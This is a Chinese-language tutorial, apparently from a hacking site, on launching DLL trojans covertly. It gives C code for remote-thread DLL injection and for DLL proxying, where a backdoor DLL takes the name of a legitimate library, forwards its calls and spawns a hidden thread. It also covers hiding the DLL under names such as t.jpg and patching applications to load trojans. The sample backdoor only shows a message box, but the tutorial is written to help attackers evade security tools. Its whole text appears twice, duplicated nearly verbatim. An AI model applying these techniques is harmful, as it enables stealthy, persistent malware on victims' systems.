按照木马隐藏方式来说,可以分为两类:
第一类:冰河这种在系统中存在进程的木马,我们只需要一个任务管理器就可以搞定。
第二类:无进程木马。一般而言操作系统是以进程为调度单位的,也就是说无进程木马本质上)是不存在的,除非脱离操作系统。那么我们常见的木马是如何实现“无进程”呢?有两种方法:
第一种方法是寄生,虽然操作系统是以进程为调度单位,但其调度的基本单位是线程,所以木马可以以线程的方式存在其它进程中,就像寄生虫一样,这种方式的隐蔽性极强。
第二种方法是隐藏本身进程,通过采用各种手段隐藏自身的进程,如Hook API等。
可是仅仅隐藏进程是不够的,为什么?因为只要是木马就存在以下几个软肋:
1. 启动方式,如通过写注册表,替换系统文件,关联文件等等
2. 连接网络(本质上一定要使用端口,虽然可以用各种手段隐藏端口)
3. 进程必然存在,前面已经提到了。
这些是不少高手研究的方向,本文尝试对木马的启动方式做出新的改进,以期得到更好的隐蔽性。
目前流行的DLL木马,由于其隐蔽性强,操作系统自动完成重定位,编写方便而被木马编写者广泛采用。但它还有一个缺点:启动方式不够隐蔽。(某读者:“我采用远程线程的方法启动还不够隐蔽吗?”),事实上确实如此,在现有的安全工具的监测下,创建远程线程就等于贴了一个“我就是木马”的标签,而且这种方式还有改写注册表或者替换系统服务的小毛病。又等于贴了一个“我还是木马”的标签。还有更好的方法可以避免远程线程,修改注册表和替换系统服务以及更改启动文件吗?当然有,这就是我写本文的目的。不过在此之前先来看看DLL木马是如何加载到内存的。DLL木马的启动方式几乎千篇一律,如下的代码就是一个代表:
//使用WriteProcessMemory函数将DLL的完整路径名复制到远程进程的内存空间
if( WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DLLFullPath, lstrlen(DLLFullPath)+1, NULL) == 0)
{
printf("WriteProcessMemory error!/n");
return FALSE;
}
//计算LoadLibraryA的地址
LPTHREAD_START_ROUTINE pfnStartAddr = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
if(pfnStartAddr == NULL)
{
printf("GetProcAddress error!/n");
return FALSE;
}
//在远程进程中启动LoadLibraryA,通过远程线程方式调用用户的DLL文件
HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
{
printf("CreateRemoteThread error!/n");
return FALSE;
}
其本质上不过是在远程进程中执行了这句代码而已:“LoadLibrary(“BackDoor.DLL”);”就这么简单,可是我们却写了一大堆的代码,能更简单点吗?不能。以如下DLL为例,我采用MinGW Developer Studio编译,效果同VC++:
//test.DLL
#include <windows.h>
__declspec(DLLexport) void manager()
{
MessageBox(0, "just a test", "Hi", MB_OK);
}
BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
}
default:
{
break;
}
}
return TRUE;
}
编译后用DEPENDS.EXE(VC++自带)查看,可以看到有一个导出函数,如图1所示。
图1
那么我们该如何利用这里的函数呢?各位看官请看个简单的例子:
//testing.exe
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HINSTANCE hDLL; //handle to DLL module
FARPROC funAddr; //函数地址
hDLL = LoadLibrary("test.DLL");
if (!hDLL)
{
MessageBox(0, "LoadLibrary failed", "sorry", MB_OK);
exit(1);
}
funAddr = GetProcAddress(hDLL, "manager");
(*funAddr)();
return TRUE;
}
整个流程如下:LoadLibrary→ GetProcAddress→(*funAddr)()。我们在自己的程序中调用自己DLL中的函数,别人的程序也是这样做的。这个过程有问题吗?没问题(socket:没有问题你写出来干什么?),但是如果我们人为的从中代理一次,来个狸猫换太子。同时保护其正常的调用规则,则可以非常隐蔽的启动我们的DLL木马。给大家个例子看看:正常情况下:A.exe→ LoadLibrary(“a.DLL”)→调用a.DLL中的函数a()
自己写个DLL木马BackDoor.DLL,同时也实现一个函数a(),当然此函数要和a.DLL中函数a()的参数和返回值一样,我们可以用PE相关工具看到或用OllyDbg追踪对方的DLL来确定其参数和返回值。假设BackDoor.DLL启动时执行“hOtherDLL = LoadLibrary(“a.DLL”)”,我们在BackDoor.DLL中的a()就可以这么写:
void a()
{
funAddr = GetProcAddress(hOtherDLL, "a");
(*funAddr)();
}
将a.DLL重命名为t.DLL,如果将BackDoor.DLL重命名为a.DLL并拷贝到A.exe同一目录下,那么整个过程就改了。渗透DLL木马后:A.exe→ BackDoor.DLL(已被重命名为a.DLL)→ BackDoor.DLL中LoadLibrary(“t.DLL”)→调用BackDoor.DLL中的a()→BackDoor.DLL中的a()调用t.DLL中函数a();
看明白了么?我们自己的BackDoor.DLL代理了整个过程,BackDoor.DLL中a()将函数调用转发给了t.DLL中的函数a()。这里给出具体代码:
//BackDoor.DLL
//将BackDoor.DLL重命名为test.DLL,将原来的test.DLL重命名为a.DLL,然后运行testing.exe
#include <windows.h>
void BackDoor()
{
MessageBox(0, "This is BackDoor", "Hi", MB_OK);
}
__declspec(DLLexport) void manager()
{
HANDLE hThread;
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&BackDoor, NULL, NULL, NULL);
MessageBox(0, "just a test", "Hi", MB_OK);
}
BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
LoadLibrary("a.DLL"); //a.DLL也就是原来的test.DLL
}
default:
{
break;
}
}
return TRUE;
}
对比前面的test.DLL,我们增加了一个后门函数和一个启动后门函数的线程,现在我们的后门程序便得到了“永生”。
比起改注册表、增加服务、替换系统服务的方法隐蔽多了吧?我们避免了这些操作,代价是应用程序目录下比原来多了一个DLL。不过一般人是不会注意应用程序DLL的,可以说打入了系统安全的死角。但是多了一个文件总是不好,碰到严谨一点的人还是没办法过关。难道有了如此赏心悦目的成果却只是空欢喜一场?不用担心,解决方法很简单。
将例程中的test.DLL改成t.jpg:“hDLL = LoadLibrary("t.jpg");”,然后将该目录下的test.DLL重命名为t.jpg。运行程序,同样弹出了图1所示的MessageBox。也就是说DLL的名字可以随意设定,根据需要改成dat、 inf之类。因为很多程序都会有自己的日志文件,错误记录,所以相比较而言是安全多了。
总结:用此法制作木马比较麻烦,需要应用程序的导出函数返回值与参数保持一致。其实我们还有一个选择:大凡玩网络安全的人多少对Crack有些了解,如果我们给应用程序“友好地”打个补丁,但是该补丁却用于启动DLL木马,这样也可以达到我们的要求。
第一类:冰河这种在系统中存在进程的木马,我们只需要一个任务管理器就可以搞定。
第二类:无进程木马。一般而言操作系统是以进程为调度单位的,也就是说无进程木马本质上)是不存在的,除非脱离操作系统。那么我们常见的木马是如何实现“无进程”呢?有两种方法:
第一种方法是寄生,虽然操作系统是以进程为调度单位,但其调度的基本单位是线程,所以木马可以以线程的方式存在其它进程中,就像寄生虫一样,这种方式的隐蔽性极强。
第二种方法是隐藏本身进程,通过采用各种手段隐藏自身的进程,如Hook API等。
可是仅仅隐藏进程是不够的,为什么?因为只要是木马就存在以下几个软肋:
1. 启动方式,如通过写注册表,替换系统文件,关联文件等等
2. 连接网络(本质上一定要使用端口,虽然可以用各种手段隐藏端口)
3. 进程必然存在,前面已经提到了。
这些是不少高手研究的方向,本文尝试对木马的启动方式做出新的改进,以期得到更好的隐蔽性。
目前流行的DLL木马,由于其隐蔽性强,操作系统自动完成重定位,编写方便而被木马编写者广泛采用。但它还有一个缺点:启动方式不够隐蔽。(某读者:“我采用远程线程的方法启动还不够隐蔽吗?”),事实上确实如此,在现有的安全工具的监测下,创建远程线程就等于贴了一个“我就是木马”的标签,而且这种方式还有改写注册表或者替换系统服务的小毛病。又等于贴了一个“我还是木马”的标签。还有更好的方法可以避免远程线程,修改注册表和替换系统服务以及更改启动文件吗?当然有,这就是我写本文的目的。不过在此之前先来看看DLL木马是如何加载到内存的。DLL木马的启动方式几乎千篇一律,如下的代码就是一个代表:
//使用WriteProcessMemory函数将DLL的完整路径名复制到远程进程的内存空间
if( WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DLLFullPath, lstrlen(DLLFullPath)+1, NULL) == 0)
{
printf("WriteProcessMemory error!/n");
return FALSE;
}
//计算LoadLibraryA的地址
LPTHREAD_START_ROUTINE pfnStartAddr = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
if(pfnStartAddr == NULL)
{
printf("GetProcAddress error!/n");
return FALSE;
}
//在远程进程中启动LoadLibraryA,通过远程线程方式调用用户的DLL文件
HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
{
printf("CreateRemoteThread error!/n");
return FALSE;
}
其本质上不过是在远程进程中执行了这句代码而已:“LoadLibrary(“BackDoor.DLL”);”就这么简单,可是我们却写了一大堆的代码,能更简单点吗?不能。以如下DLL为例,我采用MinGW Developer Studio编译,效果同VC++:
//test.DLL
#include <windows.h>
__declspec(DLLexport) void manager()
{
MessageBox(0, "just a test", "Hi", MB_OK);
}
BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
}
default:
{
break;
}
}
return TRUE;
}
编译后用DEPENDS.EXE(VC++自带)查看,可以看到有一个导出函数,如图1所示。
图1
那么我们该如何利用这里的函数呢?各位看官请看个简单的例子:
//testing.exe
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HINSTANCE hDLL; //handle to DLL module
FARPROC funAddr; //函数地址
hDLL = LoadLibrary("test.DLL");
if (!hDLL)
{
MessageBox(0, "LoadLibrary failed", "sorry", MB_OK);
exit(1);
}
funAddr = GetProcAddress(hDLL, "manager");
(*funAddr)();
return TRUE;
}
整个流程如下:LoadLibrary→ GetProcAddress→(*funAddr)()。我们在自己的程序中调用自己DLL中的函数,别人的程序也是这样做的。这个过程有问题吗?没问题(socket:没有问题你写出来干什么?),但是如果我们人为的从中代理一次,来个狸猫换太子。同时保护其正常的调用规则,则可以非常隐蔽的启动我们的DLL木马。给大家个例子看看:正常情况下:A.exe→ LoadLibrary(“a.DLL”)→调用a.DLL中的函数a()
自己写个DLL木马BackDoor.DLL,同时也实现一个函数a(),当然此函数要和a.DLL中函数a()的参数和返回值一样,我们可以用PE相关工具看到或用OllyDbg追踪对方的DLL来确定其参数和返回值。假设BackDoor.DLL启动时执行“hOtherDLL = LoadLibrary(“a.DLL”)”,我们在BackDoor.DLL中的a()就可以这么写:
void a()
{
funAddr = GetProcAddress(hOtherDLL, "a");
(*funAddr)();
}
将a.DLL重命名为t.DLL,如果将BackDoor.DLL重命名为a.DLL并拷贝到A.exe同一目录下,那么整个过程就改了。渗透DLL木马后:A.exe→ BackDoor.DLL(已被重命名为a.DLL)→ BackDoor.DLL中LoadLibrary(“t.DLL”)→调用BackDoor.DLL中的a()→BackDoor.DLL中的a()调用t.DLL中函数a();
看明白了么?我们自己的BackDoor.DLL代理了整个过程,BackDoor.DLL中a()将函数调用转发给了t.DLL中的函数a()。这里给出具体代码:
//BackDoor.DLL
//将BackDoor.DLL重命名为test.DLL,将原来的test.DLL重命名为a.DLL,然后运行testing.exe
#include <windows.h>
void BackDoor()
{
MessageBox(0, "This is BackDoor", "Hi", MB_OK);
}
__declspec(DLLexport) void manager()
{
HANDLE hThread;
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&BackDoor, NULL, NULL, NULL);
MessageBox(0, "just a test", "Hi", MB_OK);
}
BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
LoadLibrary("a.DLL"); //a.DLL也就是原来的test.DLL
}
default:
{
break;
}
}
return TRUE;
}
对比前面的test.DLL,我们增加了一个后门函数和一个启动后门函数的线程,现在我们的后门程序便得到了“永生”。
比起改注册表、增加服务、替换系统服务的方法隐蔽多了吧?我们避免了这些操作,代价是应用程序目录下比原来多了一个DLL。不过一般人是不会注意应用程序DLL的,可以说打入了系统安全的死角。但是多了一个文件总是不好,碰到严谨一点的人还是没办法过关。难道有了如此赏心悦目的成果却只是空欢喜一场?不用担心,解决方法很简单。
将例程中的test.DLL改成t.jpg:“hDLL = LoadLibrary("t.jpg");”,然后将该目录下的test.DLL重命名为t.jpg。运行程序,同样弹出了图1所示的MessageBox。也就是说DLL的名字可以随意设定,根据需要改成dat、 inf之类。因为很多程序都会有自己的日志文件,错误记录,所以相比较而言是安全多了。
总结:用此法制作木马比较麻烦,需要应用程序的导出函数返回值与参数保持一致。其实我们还有一个选择:大凡玩网络安全的人多少对Crack有些了解,如果我们给应用程序“友好地”打个补丁,但是该补丁却用于启动DLL木马,这样也可以达到我们的要求。